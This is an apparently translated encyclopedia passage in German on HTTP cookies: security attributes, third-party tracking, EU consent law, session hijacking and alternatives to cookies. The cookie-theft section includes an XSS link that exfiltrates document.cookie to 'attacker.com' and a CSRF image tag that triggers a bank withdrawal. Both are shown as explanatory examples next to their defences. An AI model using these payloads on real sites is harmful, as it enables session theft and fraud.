Das Secure-Attribut soll die Cookie-Kommunikation auf eine verschlüsselte Übertragung beschränken und die Browser anweisen, Cookies nur über sichere/verschlüsselte Verbindungen zu verwenden. Setzt ein Webserver jedoch ein Cookie mit einem Secure-Attribut über eine unsichere Verbindung, kann das Cookie immer noch abgefangen werden, wenn es durch Man-in-the-Middle-Angriffe an den Benutzer gesendet wird. Für maximale Sicherheit sollten Cookies mit dem Attribut Secure daher nur über eine sichere Verbindung gesetzt werden. ⓘ

Das HttpOnly-Attribut weist die Browser an, Cookies nur über HTTP- (und HTTPS-) Anfragen zu senden. Dies bedeutet, dass auf das Cookie nicht über clientseitige Skriptsprachen (insbesondere JavaScript) zugegriffen werden kann und es daher nicht leicht über Cross-Site-Scripting (eine weit verbreitete Angriffstechnik) gestohlen werden kann. ⓘ

Browser-Einstellungen

Die meisten modernen Browser unterstützen Cookies und ermöglichen es dem Benutzer, sie zu deaktivieren. Die folgenden Optionen sind üblich:

• Vollständiges Aktivieren oder Deaktivieren von Cookies, so dass sie immer akzeptiert oder immer blockiert werden.
• Einsehen und selektives Löschen von Cookies mit einem Cookie-Manager.
• Vollständige Löschung aller privaten Daten, einschließlich Cookies. ⓘ

Es gibt auch Zusatztools für die Verwaltung von Cookie-Berechtigungen. ⓘ

Datenschutz und Cookies von Dritten

Cookies haben einige wichtige Auswirkungen auf die Privatsphäre und die Anonymität der Internetnutzer. Während Cookies nur an den Server, der sie setzt, oder an einen Server in derselben Internet-Domäne gesendet werden, kann eine Webseite Bilder oder andere Komponenten enthalten, die auf Servern in anderen Domänen gespeichert sind. Cookies, die beim Abruf dieser Komponenten gesetzt werden, nennt man Drittanbieter-Cookies. Die älteren Standards für Cookies, RFC 2109 und RFC 2965, legen fest, dass Browser die Privatsphäre der Benutzer schützen und die gemeinsame Nutzung von Cookies zwischen Servern standardmäßig nicht zulassen sollten. Der neuere Standard, RFC 6265, erlaubt es den Benutzer-Agenten jedoch ausdrücklich, eine beliebige Cookie-Richtlinie für Drittanbieter zu implementieren, die sie wünschen. Die meisten Browser wie Mozilla Firefox, Internet Explorer, Opera und Google Chrome lassen Cookies von Drittanbietern standardmäßig zu, sofern die Website des Drittanbieters kompakte Datenschutzrichtlinien veröffentlicht hat. Neuere Versionen von Safari blockieren Cookies von Drittanbietern, und dies ist auch für Mozilla Firefox geplant (ursprünglich für Version 22 geplant, aber auf unbestimmte Zeit verschoben). ⓘ

In diesem fiktiven Beispiel hat ein Werbeunternehmen Banner auf zwei Websites platziert. Durch das Hosten der Banner auf seinen Servern und die Verwendung von Drittanbieter-Cookies ist das Werbeunternehmen in der Lage, das Surfverhalten der Nutzer auf diesen beiden Websites zu verfolgen. ⓘ

Werbeunternehmen verwenden Cookies von Drittanbietern, um einen Nutzer über mehrere Websites hinweg zu verfolgen. Insbesondere kann ein Werbeunternehmen einen Nutzer auf allen Seiten verfolgen, auf denen es Werbebilder oder Webbugs platziert hat. Die Kenntnis der von einem Nutzer besuchten Seiten ermöglicht es dem Werbeunternehmen, die Werbung auf die mutmaßlichen Vorlieben des Nutzers abzustimmen. ⓘ

Website-Betreiber, die den Verbrauchern die Verwendung von Cookies durch Dritte nicht mitteilen, laufen Gefahr, das Vertrauen der Verbraucher zu erschüttern, wenn die Verwendung von Cookies entdeckt wird. Eine eindeutige Offenlegung (z. B. in einer Datenschutzrichtlinie) beseitigt in der Regel alle negativen Auswirkungen einer solchen Cookie-Entdeckung. ⓘ

Die Möglichkeit, ein Nutzerprofil zu erstellen, stellt eine Gefahr für die Privatsphäre dar, insbesondere wenn die Verfolgung über mehrere Domänen hinweg unter Verwendung von Drittanbieter-Cookies erfolgt. Aus diesem Grund gibt es in einigen Ländern Gesetze über Cookies. ⓘ

Die Regierung der Vereinigten Staaten hat im Jahr 2000 strenge Vorschriften für das Setzen von Cookies erlassen, nachdem bekannt geworden war, dass das Büro für Drogenpolitik des Weißen Hauses Cookies verwendet, um Computerbenutzer zu verfolgen, die seine Online-Werbung zur Drogenbekämpfung ansehen. Im Jahr 2002 fand der Datenschutzaktivist Daniel Brandt heraus, dass die CIA dauerhafte Cookies auf Computern hinterließ, die ihre Website besucht hatten. Als die CIA darauf hingewiesen wurde, dass sie gegen die Richtlinien verstößt, erklärte sie, dass diese Cookies nicht absichtlich gesetzt wurden, und hörte auf, sie zu setzen. Am 25. Dezember 2005 entdeckte Brandt, dass die National Security Agency (NSA) aufgrund eines Software-Upgrades zwei dauerhafte Cookies auf den Computern der Besucher hinterlassen hatte. Nachdem die NSA darüber informiert wurde, deaktivierte sie die Cookies sofort. ⓘ

EU-Cookie-Richtlinie

Im Jahr 2002 erließ die Europäische Union die Richtlinie über den Schutz der Privatsphäre in der elektronischen Kommunikation (e-Privacy-Richtlinie), eine Richtlinie, die die Zustimmung der Endnutzer zur Platzierung von Cookies und ähnlichen Technologien zur Speicherung von und zum Zugriff auf Informationen auf den Geräten der Nutzer vorschreibt. Insbesondere Artikel 5 Absatz 3 schreibt vor, dass die Speicherung technisch nicht notwendiger Daten auf dem Computer eines Nutzers nur dann zulässig ist, wenn der Nutzer Informationen über die Verwendung dieser Daten erhält und die Möglichkeit hat, diese Speicherung abzulehnen. Die Richtlinie schreibt nicht vor, dass die Nutzer die Verwendung von Cookies genehmigen oder darüber informiert werden müssen, wenn diese für die Erbringung eines von ihnen angeforderten Dienstes funktionell erforderlich sind, z. B. um Einstellungen zu speichern, Log-in-Sitzungen zu speichern oder sich zu merken, was sich im Warenkorb eines Nutzers befindet. ⓘ

Im Jahr 2009 wurde das Gesetz durch die Richtlinie 2009/136/EG geändert, die eine Änderung von Artikel 5, Absatz 3 beinhaltete. Statt einer Option für die Nutzer, sich gegen die Speicherung von Cookies zu entscheiden, verlangt die überarbeitete Richtlinie, dass die Einwilligung zur Speicherung von Cookies eingeholt wird. Die Definition des Begriffs "Einwilligung" enthält einen Querverweis auf die Definition im europäischen Datenschutzrecht, zunächst in der Datenschutzrichtlinie von 1995 und anschließend in der Allgemeinen Datenschutzverordnung (DSGVO). Da die Definition der Einwilligung im Text der Datenschutz-Grundverordnung verschärft wurde, hatte dies zur Folge, dass die Qualität der Einwilligung, die von denjenigen verlangt wird, die Informationen wie Cookies auf den Geräten der Nutzer speichern und darauf zugreifen, erhöht wurde. In einer Rechtssache, die im Rahmen der Datenschutzrichtlinie entschieden wurde, bestätigte der Gerichtshof der Europäischen Union später jedoch, dass das frühere Recht die gleiche strenge Qualität der Einwilligung voraussetzte wie das aktuelle Instrument. Zusätzlich zu dem Erfordernis der Einwilligung, das sich aus der Speicherung von oder dem Zugriff auf Informationen auf dem Endgerät eines Nutzers ergibt, werden die Informationen in vielen Cookies allein unter der DSGVO als personenbezogene Daten betrachtet, für deren Verarbeitung eine Rechtsgrundlage erforderlich ist. Dies ist seit der Datenschutzrichtlinie von 1995 der Fall, die eine identische Definition von personenbezogenen Daten verwendete, obwohl die DSGVO in Erwägungsgrund 30 zu Auslegungszwecken klarstellt, dass Cookie-Kennungen eingeschlossen sind. Auch wenn nicht alle Datenverarbeitungen nach der Datenschutz-Grundverordnung einer Einwilligung bedürfen, so bedeuten die Merkmale der verhaltensorientierten Werbung doch, dass es schwierig oder unmöglich ist, sie mit einem anderen Grund zu rechtfertigen. ⓘ

Die Einwilligung gemäß der Kombination aus DSGVO und Datenschutzrichtlinie für elektronische Kommunikation muss in Bezug auf Cookies eine Reihe von Bedingungen erfüllen. Sie muss frei und eindeutig erteilt werden: Vorgefertigte Kästchen sind sowohl in der Datenschutzrichtlinie von 1995 als auch in der Datenschutz-Grundverordnung verboten (Erwägungsgrund 32). Die Datenschutz-Grundverordnung legt fest, dass die Einwilligung ebenso leicht widerrufen wie erteilt werden kann, d. h. eine Schaltfläche zum Ablehnen der Einwilligung muss in Bezug auf die Anzahl der Klicks und die Sichtbarkeit ebenso leicht zugänglich sein wie eine Schaltfläche zum Akzeptieren der Einwilligung. Sie muss spezifisch und in Kenntnis der Sachlage erfolgen, d. h. die Einwilligung muss sich auf bestimmte Zwecke der Datennutzung beziehen, und alle Organisationen, die diese Einwilligung nutzen wollen, müssen namentlich genannt werden. Der Gerichtshof der Europäischen Union hat außerdem entschieden, dass die Einwilligung "effizient und rechtzeitig" erfolgen muss, d. h. sie muss eingeholt werden, bevor Cookies gesetzt werden und die Datenverarbeitung beginnt, und nicht erst danach. ⓘ

Die Reaktion der Branche war weitgehend negativ. Robert Bond von der Anwaltskanzlei Speechly Bircham beschreibt die Auswirkungen als "weitreichend und unglaublich belastend" für "alle britischen Unternehmen". Simon Davis von Privacy International argumentiert, dass eine ordnungsgemäße Durchsetzung "die gesamte Branche zerstören" würde. Wissenschaftler weisen jedoch darauf hin, dass der lästige Charakter von Cookie-Pop-ups auf den Versuch zurückzuführen ist, ein Geschäftsmodell durch umständliche Anfragen aufrechtzuerhalten, die möglicherweise nicht mit der Datenschutz-Grundverordnung vereinbar sind. ⓘ

Sowohl akademische Studien als auch Regulierungsbehörden beschreiben eine weit verbreitete Nichteinhaltung des Gesetzes. Eine Studie, die 10 000 britische Websites untersuchte, ergab, dass nur 11,8 % der Websites die gesetzlichen Mindestanforderungen einhielten, wobei nur 33,4 % der untersuchten Websites einen Mechanismus zur Ablehnung von Cookies anboten, der ebenso einfach zu bedienen war wie die Annahme von Cookies. Eine Untersuchung von 17 000 Websites ergab, dass 84 % der Websites gegen dieses Kriterium verstießen, wobei zusätzlich festgestellt wurde, dass viele von ihnen Cookies von Drittanbietern ohne jeglichen Hinweis platzierten. Die britische Aufsichtsbehörde, das Information Commissioner's Office, stellte 2019 fest, dass das "Transparency and Consent Framework" der Werbetechnologiegruppe Interactive Advertising Bureau "nicht ausreicht, um die Transparenz und die faire Verarbeitung der betreffenden personenbezogenen Daten zu gewährleisten, und daher auch nicht ausreicht, um eine freie und informierte Einwilligung zu erteilen, was wiederum Auswirkungen auf die Einhaltung der PECR [e-Privacy] hat". Viele Unternehmen, die Lösungen für die Einhaltung der Vorschriften (Consent Management Platforms) verkaufen, lassen zu, dass diese auf offenkundig illegale Weise konfiguriert werden, was nach Ansicht von Wissenschaftlern Fragen nach der angemessenen Verteilung der Haftung aufwirft. ⓘ

Eine W3C-Spezifikation namens P3P wurde vorgeschlagen, damit Server ihre Datenschutzrichtlinien an Browser übermitteln können, was eine automatische, benutzerkonfigurierbare Handhabung ermöglicht. Allerdings setzen nur wenige Websites die Spezifikation um, keine der großen Browser unterstützen sie, und das W3C hat die Arbeit an der Spezifikation eingestellt. ⓘ

Cookies von Drittanbietern können von den meisten Browsern blockiert werden, um die Privatsphäre zu schützen und das Tracking durch Werbe- und Tracking-Firmen zu reduzieren, ohne dass das Web-Erlebnis des Benutzers auf allen Websites beeinträchtigt wird. Einige Websites arbeiten mit "Cookie-Walls", die den Zugang zu einer Website davon abhängig machen, dass Cookies entweder technisch in einem Browser, durch Drücken von "Akzeptieren" oder durch beides zugelassen werden. Im Jahr 2020 erklärte der Europäische Datenschutzausschuss, der sich aus allen EU-Datenschutzbehörden zusammensetzt, dass Cookie-Walls illegal sind.

Damit die Einwilligung frei gegeben werden kann, darf der Zugang zu Diensten und Funktionen nicht von der Einwilligung eines Nutzers in die Speicherung von Informationen oder den Zugang zu bereits gespeicherten Informationen auf dem Endgerät eines Nutzers abhängig gemacht werden (so genannte Cookie-Walls).

Viele Werbebetreiber bieten eine Opt-out-Option für verhaltensbezogene Werbung an, bei der ein allgemeiner Cookie im Browser die verhaltensbezogene Werbung unterbindet. Dies ist jedoch oft unwirksam gegen viele Formen des Tracking, wie z. B. das First-Party-Tracking, das immer beliebter wird, um die Auswirkungen von Browsern zu vermeiden, die Cookies von Dritten blockieren. Wenn eine solche Einstellung schwieriger zu platzieren ist als die Zustimmung zum Tracking, verstößt sie außerdem gegen die Bedingungen der Datenschutzrichtlinie für elektronische Kommunikation. ⓘ

Im Mai 2020 berichtet die Süddeutsche Zeitung über eine Entscheidung des Bundesgerichtshofs, dass Nutzer ihre Einwilligung zu Cookies aktiv geben müssen. Damit seien viele aktuelle Cookie-Banner in Deutschland unzulässig. Die BGH-Richter folgten in ihrer Entscheidung damit weitgehend der Argumentation eines Urteils des Europäischen Gerichtshofs (EuGH) vom Oktober 2019. Das hatte geurteilt, dass vorausgefüllte Cookie-Banner nicht mit europäischem Recht vereinbar seien. Viele deutsche Internetseiten hatten sich bislang auf das deutsche Telemediengesetz (TMG) berufen, nachdem Nutzer dem Cookie-Tracking aktiv widersprechen mussten. ⓘ

Cookie-Diebstahl und Session-Hijacking

Die meisten Websites verwenden Cookies als einzige Identifikatoren für Nutzersitzungen, da andere Methoden zur Identifizierung von Webnutzern Grenzen und Schwachstellen aufweisen. Wenn eine Website Cookies als Sitzungskennungen verwendet, können Angreifer die Anfragen von Benutzern imitieren, indem sie einen vollständigen Satz von Cookies der Opfer stehlen. Aus der Sicht des Webservers hat eine Anfrage eines Angreifers dann die gleiche Authentifizierung wie die Anfragen des Opfers; die Anfrage wird also im Namen der Sitzung des Opfers ausgeführt. ⓘ

Im Folgenden werden verschiedene Szenarien des Cookie-Diebstahls und des Hijackings von Benutzersitzungen (auch ohne Diebstahl von Benutzer-Cookies) aufgeführt, die mit Websites funktionieren, die sich ausschließlich auf HTTP-Cookies zur Benutzeridentifizierung verlassen. ⓘ

Lauschangriff auf das Netzwerk

Ein Cookie kann von einem anderen Computer gestohlen werden, der im Netzwerk lesen darf. ⓘ

Der Datenverkehr in einem Netzwerk kann von anderen Computern als dem Absender und dem Empfänger abgefangen und gelesen werden (insbesondere über unverschlüsseltes offenes Wi-Fi). Zu diesem Datenverkehr gehören auch Cookies, die bei normalen unverschlüsselten HTTP-Sitzungen gesendet werden. Wenn der Netzwerkverkehr nicht verschlüsselt ist, können Angreifer daher die Kommunikation anderer Benutzer im Netzwerk, einschließlich HTTP-Cookies, sowie den gesamten Inhalt der Gespräche zum Zweck eines Man-in-the-Middle-Angriffs lesen. ⓘ

Ein Angreifer könnte die abgefangenen Cookies verwenden, um sich als ein Benutzer auszugeben und eine böswillige Aufgabe auszuführen, z. B. Geld vom Bankkonto des Opfers zu überweisen. ⓘ

Dieses Problem kann gelöst werden, indem die Kommunikation zwischen dem Computer des Benutzers und dem Server durch die Verwendung von Transport Layer Security (HTTPS-Protokoll) zur Verschlüsselung der Verbindung gesichert wird. Ein Server kann beim Setzen eines Cookies das Secure-Flag angeben, wodurch der Browser veranlasst wird, das Cookie nur über einen verschlüsselten Kanal, z. B. eine TLS-Verbindung, zu senden. ⓘ

Veröffentlichung einer falschen Sub-Domain: DNS-Cache-Vergiftung

Wenn ein Angreifer in der Lage ist, einen DNS-Server dazu zu bringen, einen gefälschten DNS-Eintrag in den Cache zu stellen (sog. DNS-Cache-Poisoning), könnte dies dem Angreifer ermöglichen, Zugriff auf die Cookies eines Benutzers zu erhalten. So könnte ein Angreifer beispielsweise durch DNS-Cache-Poisoning einen gefälschten DNS-Eintrag mit der Adresse f12345.www.example.com erstellen, der auf die IP-Adresse des Servers des Angreifers verweist. Der Angreifer kann dann eine Bild-URL von seinem eigenen Server posten (zum Beispiel, </nowiki>). Opfer, die die Nachricht des Angreifers lesen, würden dieses Bild von f12345.www.example.com herunterladen. Da f12345.www.example.com eine Unterdomäne von www.example.com ist, würden die Browser der Opfer alle mit example.com verbundenen Cookies an den Server des Angreifers übermitteln. ⓘ

Wenn ein Angreifer dies erreichen kann, sind in der Regel die Internetdienstanbieter schuld, weil sie ihre DNS-Server nicht ordnungsgemäß sichern. Die Schwere dieses Angriffs kann jedoch gemildert werden, wenn die Ziel-Website sichere Cookies verwendet. In diesem Fall wäre es für den Angreifer eine zusätzliche Herausforderung, das TLS-Zertifikat der Ziel-Website von einer Zertifizierungsstelle zu erhalten, da sichere Cookies nur über eine verschlüsselte Verbindung übertragen werden können. Ohne ein passendes TLS-Zertifikat würden die Browser der Opfer eine Warnmeldung über das ungültige Zertifikat des Angreifers anzeigen, was die Benutzer davon abhalten würde, die betrügerische Website des Angreifers zu besuchen und dem Angreifer ihre Cookies zu senden. ⓘ

Cross-Site-Scripting: Cookie-Diebstahl

Cookies können auch mit einer Technik namens Cross-Site-Scripting gestohlen werden. Dies geschieht, wenn ein Angreifer eine Website ausnutzt, die ihren Benutzern erlaubt, ungefilterte HTML- und JavaScript-Inhalte zu posten. Durch das Einstellen von bösartigem HTML- und JavaScript-Code kann der Angreifer den Webbrowser des Opfers dazu bringen, die Cookies des Opfers an eine vom Angreifer kontrollierte Website zu senden. ⓘ

So kann ein Angreifer beispielsweise eine Nachricht mit dem folgenden Link auf www.example.com veröffentlichen:

<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a> <span title="Aus: Englische Wikipedia, Abschnitt &quot;Cross-site scripting: cookie theft&quot;" class="plainlinks">[https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_scripting:_cookie_theft <span style="color:#dddddd">ⓘ</span>]</span>

Cross-Site-Scripting: Ein Cookie, das nur zwischen einem Server und einem Client ausgetauscht werden sollte, wird an eine andere Partei gesendet. ⓘ

Wenn ein anderer Benutzer auf diesen Link klickt, führt der Browser das Codestück im onclick-Attribut aus und ersetzt so die Zeichenfolge document.cookie durch die Liste der Cookies, die von der aktuellen Seite aus zugänglich sind. Diese Liste von Cookies wird an den Server von attacker.com gesendet. Befindet sich die böswillige Meldung des Angreifers auf einer HTTPS-Website https://www.example.com</nowiki>befinden, werden auch sichere Cookies im Klartext an attacker.com gesendet. ⓘ

Es liegt in der Verantwortung der Website-Entwickler, solchen bösartigen Code herauszufiltern. ⓘ

Solche Angriffe können durch die Verwendung von HttpOnly-Cookies abgewehrt werden. Auf diese Cookies können clientseitige Skriptsprachen wie JavaScript nicht zugreifen, so dass der Angreifer nicht in der Lage ist, diese Cookies zu sammeln. ⓘ

Cross-Site-Scripting: Proxy-Anfrage

In älteren Versionen vieler Browser gab es Sicherheitslücken in der Implementierung der XMLHttpRequest-API. Mit dieser API können Seiten einen Proxyserver angeben, der die Antwort erhält, und dieser Proxyserver unterliegt nicht der Same-Origin-Policy. Ein Beispiel: Ein Opfer liest einen Beitrag eines Angreifers auf www.example.com, und das Skript des Angreifers wird im Browser des Opfers ausgeführt. Das Skript erzeugt eine Anfrage an www.example.com mit dem Proxy-Server attacker.com. Da die Anfrage an www.example.com gerichtet ist, werden alle Cookies von example.com zusammen mit der Anfrage gesendet, aber über den Proxy-Server des Angreifers geleitet. So kann der Angreifer die Cookies des Opfers abfangen. ⓘ

Dieser Angriff würde bei sicheren Cookies nicht funktionieren, da diese nur über HTTPS-Verbindungen übertragen werden können und das HTTPS-Protokoll eine Ende-zu-Ende-Verschlüsselung vorschreibt (d. h. die Informationen werden im Browser des Benutzers verschlüsselt und auf dem Zielserver entschlüsselt). In diesem Fall würde der Proxy-Server nur die unverschlüsselten Bytes der HTTP-Anfrage sehen. ⓘ

Site-übergreifende Anforderungsfälschung

Bob könnte zum Beispiel in einem Chat-Forum surfen, in dem ein anderer Benutzer, Mallory, eine Nachricht gepostet hat. Nehmen wir an, dass Mallory ein HTML-Bildelement erstellt hat, das auf eine Aktion auf der Website von Bobs Bank verweist (und nicht auf eine Bilddatei), ⓘ

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"> <span title="Aus: Englische Wikipedia, Abschnitt &quot;Cross-site request forgery&quot;" class="plainlinks">[https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery <span style="color:#dddddd">ⓘ</span>]</span>

Wenn Bobs Bank seine Authentifizierungsdaten in einem Cookie speichert und das Cookie noch nicht abgelaufen ist, wird der Versuch von Bobs Browser, das Bild zu laden, das Abhebungsformular mit seinem Cookie übermitteln und damit eine Transaktion ohne Bobs Zustimmung genehmigen. ⓘ

Cookiejacking

Cookiejacking ist ein Angriff auf den Internet Explorer, der es dem Angreifer ermöglicht, Sitzungscookies eines Benutzers zu stehlen, indem er den Benutzer dazu verleitet, ein Objekt über den Bildschirm zu ziehen. Microsoft stufte die Schwachstelle als risikoarm ein, da "nur ein geringes Maß an Benutzerinteraktion" erforderlich ist und der Benutzer bereits bei der Website angemeldet sein muss, deren Cookie gestohlen wird. Trotzdem versuchte ein Forscher den Angriff auf 150 seiner Facebook-Freunde und erhielt die Cookies von 80 von ihnen durch Social Engineering. ⓘ

Nachteile von Cookies

Neben den Bedenken hinsichtlich des Datenschutzes haben Cookies auch einige technische Nachteile. Insbesondere identifizieren sie die Benutzer nicht immer genau, sie können für Sicherheitsangriffe verwendet werden und sie stehen oft im Widerspruch zur REST-Softwarearchitektur (Representational State Transfer). ⓘ

Ungenaue Identifizierung

Wenn auf einem Computer mehr als ein Browser verwendet wird, hat in der Regel jeder einen eigenen Speicherbereich für Cookies. Cookies identifizieren also nicht eine Person, sondern eine Kombination aus einem Benutzerkonto, einem Computer und einem Webbrowser. Wer also mehrere Benutzerkonten, Computer oder Browser verwendet, hat mehrere Sätze von Cookies. ⓘ

Ebenso unterscheiden Cookies nicht zwischen mehreren Benutzern, die dasselbe Benutzerkonto, denselben Computer und denselben Browser verwenden. ⓘ

Inkonsistenter Zustand auf Client und Server

Die Verwendung von Cookies kann zu einer Inkonsistenz zwischen dem Zustand des Clients und dem im Cookie gespeicherten Zustand führen. Wenn der Benutzer ein Cookie erwirbt und dann auf die Schaltfläche "Zurück" des Browsers klickt, ist der Zustand des Browsers im Allgemeinen nicht mehr derselbe wie vor dem Erwerb des Cookies. Wenn beispielsweise der Warenkorb eines Online-Shops mit Hilfe von Cookies erstellt wird, ändert sich der Inhalt des Warenkorbs möglicherweise nicht, wenn der Nutzer in der Browser-Historie zurückgeht: Wenn der Nutzer auf eine Schaltfläche drückt, um einen Artikel in den Warenkorb zu legen, und dann auf die Schaltfläche "Zurück" klickt, bleibt der Artikel im Warenkorb. Dies entspricht möglicherweise nicht der Absicht des Benutzers, der das Hinzufügen des Artikels rückgängig machen wollte. Dies kann zu Unzuverlässigkeit, Verwirrung und Fehlern führen. Webentwickler sollten sich daher dieses Problems bewusst sein und Maßnahmen ergreifen, um solche Situationen zu bewältigen. ⓘ

Alternativen zu Cookies

Einige der Vorgänge, die mit Cookies durchgeführt werden können, können auch mit anderen Mechanismen durchgeführt werden. ⓘ

JSON-Web-Token

Ein JSON-Web-Token (JWT) ist ein in sich geschlossenes Informationspaket, das zur Speicherung von Benutzeridentitäts- und Authentizitätsinformationen verwendet werden kann. Dadurch können sie anstelle von Sitzungscookies verwendet werden. Im Gegensatz zu Cookies, die vom Browser automatisch an jede HTTP-Anfrage angehängt werden, müssen JWTs von der Webanwendung ausdrücklich an jede HTTP-Anfrage angehängt werden. ⓘ

HTTP-Authentifizierung

Das HTTP-Protokoll umfasst die Protokolle Basic Access Authentication und Digest Access Authentication, die den Zugriff auf eine Webseite nur dann erlauben, wenn der Benutzer den richtigen Benutzernamen und das richtige Kennwort angegeben hat. Wenn der Server solche Zugangsdaten für den Zugriff auf eine Webseite benötigt, fordert der Browser sie vom Benutzer an und speichert und sendet sie bei jeder nachfolgenden Seitenanforderung. Diese Informationen können verwendet werden, um den Benutzer zu verfolgen. ⓘ

IP-Adresse

Einige Benutzer können anhand der IP-Adresse des Computers, der die Seite anfordert, verfolgt werden. Der Server kennt die IP-Adresse des Computers, auf dem der Browser (oder der Proxy, falls ein solcher verwendet wird) läuft, und könnte theoretisch die Sitzung eines Benutzers mit dieser IP-Adresse verknüpfen. ⓘ

IP-Adressen sind jedoch im Allgemeinen kein zuverlässiges Mittel, um eine Sitzung zu verfolgen oder einen Benutzer zu identifizieren. Viele Computer, die für die Nutzung durch einen einzelnen Benutzer vorgesehen sind, wie z. B. Büro-PCs oder Heim-PCs, befinden sich hinter einem Netzwerkadressenübersetzer (NAT). Das bedeutet, dass sich mehrere PCs eine öffentliche IP-Adresse teilen. Darüber hinaus sind einige Systeme, wie z. B. Tor, so konzipiert, dass die Anonymität des Internets gewahrt bleibt, was eine Verfolgung anhand der IP-Adresse unpraktisch, unmöglich oder ein Sicherheitsrisiko darstellt. ⓘ

URL (Abfragezeichenfolge)

Eine präzisere Technik basiert auf der Einbettung von Informationen in URLs. Der Query-String-Teil der URL ist der Teil, der normalerweise für diesen Zweck verwendet wird, aber auch andere Teile können verwendet werden. Die Java-Servlet- und PHP-Sitzungsmechanismen verwenden beide diese Methode, wenn keine Cookies aktiviert sind. ⓘ

Diese Methode besteht darin, dass der Webserver an alle Links innerhalb einer Webseite Abfragezeichenfolgen anhängt, die einen eindeutigen Sitzungsbezeichner enthalten. Wenn der Benutzer einem Link folgt, sendet der Browser den Query-String an den Server, so dass der Server den Benutzer identifizieren und den Status beibehalten kann. ⓘ

Diese Art von Query-Strings sind Cookies sehr ähnlich, da beide beliebige, vom Server ausgewählte Informationen enthalten und bei jeder Anfrage an den Server zurückgeschickt werden. Es gibt jedoch einige Unterschiede. Da ein Query-String Teil einer URL ist, werden bei einer späteren Wiederverwendung dieser URL dieselben angehängten Informationen an den Server gesendet, was zu Verwirrung führen kann. Wenn z. B. die Präferenzen eines Benutzers im Query-String einer URL kodiert sind und der Benutzer diese URL per E-Mail an einen anderen Benutzer sendet, werden diese Präferenzen auch für diesen anderen Benutzer verwendet. ⓘ

Wenn derselbe Benutzer dieselbe Seite mehrmals von verschiedenen Quellen aus aufruft, gibt es außerdem keine Garantie dafür, dass jedes Mal derselbe Abfrage-String verwendet wird. Wenn beispielsweise ein Nutzer eine Seite das erste Mal von einer internen Seite der Website aus aufruft und dann die gleiche Seite das zweite Mal von einer externen Suchmaschine aus, würden die Abfragezeichenfolgen wahrscheinlich unterschiedlich sein. Würden in dieser Situation Cookies verwendet, so wären die Cookies identisch. ⓘ

Weitere Nachteile von Query-Strings hängen mit der Sicherheit zusammen. Die Speicherung von Daten, die eine Sitzung identifizieren, in einem Query-String ermöglicht Angriffe auf die Sitzungsfixierung, Referer-Logging-Angriffe und andere Sicherheitslücken. Die Übertragung von Sitzungskennungen in Form von HTTP-Cookies ist sicherer. ⓘ

Versteckte Formularfelder

Eine andere Form der Sitzungsverfolgung ist die Verwendung von Webformularen mit versteckten Feldern. Diese Technik ist der Verwendung von URL-Abfragezeichenfolgen zur Speicherung der Informationen sehr ähnlich und hat viele der gleichen Vor- und Nachteile. Wenn das Formular mit der HTTP-GET-Methode bearbeitet wird, ist diese Technik der Verwendung von URL-Query-Strings ähnlich, da die GET-Methode die Formularfelder als Query-String in die URL einfügt. Die meisten Formulare werden jedoch mit HTTP POST bearbeitet, was dazu führt, dass die Formularinformationen, einschließlich der verborgenen Felder, im HTTP-Anfragekörper gesendet werden, der weder Teil der URL noch eines Cookies ist. ⓘ

Dieser Ansatz bietet aus Sicht des Trackers zwei Vorteile. Erstens bedeutet die Platzierung der Tracking-Informationen im HTTP-Request-Body und nicht in der URL, dass sie vom durchschnittlichen Benutzer nicht bemerkt werden. Zweitens werden die Sitzungsinformationen nicht kopiert, wenn der Benutzer die URL kopiert (um z. B. ein Lesezeichen für die Seite zu setzen oder sie per E-Mail zu versenden). ⓘ

DOM-Eigenschaft "window.name"

Alle aktuellen Webbrowser können über JavaScript mit der DOM-Eigenschaft window.name eine ziemlich große Datenmenge (2-32 MB) speichern. Diese Daten können anstelle von Sitzungscookies verwendet werden und sind auch domänenübergreifend. Diese Technik kann mit JSON/JavaScript-Objekten gekoppelt werden, um komplexe Sätze von Sitzungsvariablen auf der Client-Seite zu speichern. ⓘ

Der Nachteil ist, dass jedes einzelne Fenster oder jede Registerkarte beim Öffnen zunächst eine leere Eigenschaft window.name hat. Außerdem kann die Eigenschaft zur Nachverfolgung von Besuchern über verschiedene Websites hinweg verwendet werden, was für den Datenschutz im Internet von Bedeutung ist. ⓘ

In mancher Hinsicht kann diese Eigenschaft sicherer sein als Cookies, da ihr Inhalt nicht wie bei Cookies automatisch bei jeder Anfrage an den Server gesendet wird und somit nicht anfällig für Angriffe zum Ausspähen von Netzwerk-Cookies ist. Wenn jedoch keine besonderen Maßnahmen zum Schutz der Daten ergriffen werden, sind sie anfällig für andere Angriffe, da die Daten auf verschiedenen Websites, die im selben Fenster oder in derselben Registerkarte geöffnet werden, verfügbar sind. ⓘ

Kennung für Werbetreibende

Apple verwendet eine Tracking-Technik namens "Identifier for Advertisers" (IDFA). Mit dieser Technik wird jedem Nutzer, der ein Apple iOS-Gerät (z. B. ein iPhone oder iPad) kauft, eine eindeutige Kennung zugewiesen. Diese Kennung wird dann von Apples Werbenetzwerk iAd verwendet, um die Anzeigen zu ermitteln, die von den Nutzern gesehen werden und auf die sie reagieren. ⓘ

ETag

Da ETags vom Browser zwischengespeichert und bei nachfolgenden Anfragen für dieselbe Ressource zurückgegeben werden, kann ein Tracking-Server einfach jeden vom Browser empfangenen ETag wiederholen, um sicherzustellen, dass ein zugewiesener ETag auf unbestimmte Zeit bestehen bleibt (ähnlich wie bei dauerhaften Cookies). Zusätzliche Caching-Header-Felder können die Erhaltung von ETag-Daten ebenfalls verbessern. ⓘ

ETags können in einigen Browsern durch Löschen des Browser-Caches gelöscht werden. ⓘ

Web-Speicher

Einige Webbrowser unterstützen Persistenzmechanismen, die es der Seite ermöglichen, die Informationen zur späteren Verwendung lokal zu speichern. ⓘ

